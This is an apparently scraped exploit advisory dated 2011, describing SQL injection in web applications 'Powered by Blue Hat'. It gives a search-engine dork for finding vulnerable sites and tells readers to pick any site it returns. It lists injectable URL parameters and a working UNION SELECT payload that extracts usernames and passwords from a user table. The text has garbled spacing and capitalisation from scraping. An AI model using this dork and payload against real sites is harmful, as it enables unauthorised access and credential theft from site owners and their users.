Powered by Blue Hat Sensitive Database Disclosure & amp;

# (+) Exploit Title: Powered by Blue Hat Sensitive Database Disclosure Vulnerability

# (+) Author: ^ Xecuti0n3r

# (+) Date: 12.04.2011

# (+) Hour: 13: 37 PM

# (+) E-mail: xecuti0n3r () yahoo.com

# (+) Dork: intext: "Powered by Blue Hat"

# (+) Category: Web Apps [SQli]

____________________________________________________________________

____________________________________________________________________

Choose any site that comes up when you enter the dork intext: "Powered by Blue Hat" in search engine

* SQL injection Vulnerability *

# [+] Http://www.bkjia.com/video.php? Id_att = 111.

# [+] Http://www.bkjia.com/video.php? Id_att = [SQLI]

# [+] Http://www.bkjia.com/mappa.php? Id_att = 2121.

# [+] Http://www.bkjia.com/mappa.php? Id_att = [SQLI]

# [+] Http://www.bkjia.com/elenco_attivita.php? Id_cat= 101

# [+] Http://www.bkjia.com/elenco_attivita.php? Id_cat = [SQLI]

# [+] Http://www.bkjia.com/prodotti.php? Id = 6

# [+] Http://www.bkjia.com/prodotti.php? Id = [SQLI]

# [+] Http://www.bkjia.com/prodotti.php? Id =-6 + union + select + 1, concat (username, 0x3a, password) + from + utenti

____________________________________________________________________

____________________________________________________________________

######################################## ################################

(+) Exploit Coded by: ^ Xecuti0n3r

(+) Special Thanks to: MaxCaps, d3M0l! TioN3r, aninstitutes! LatioN3r

######################################## ################################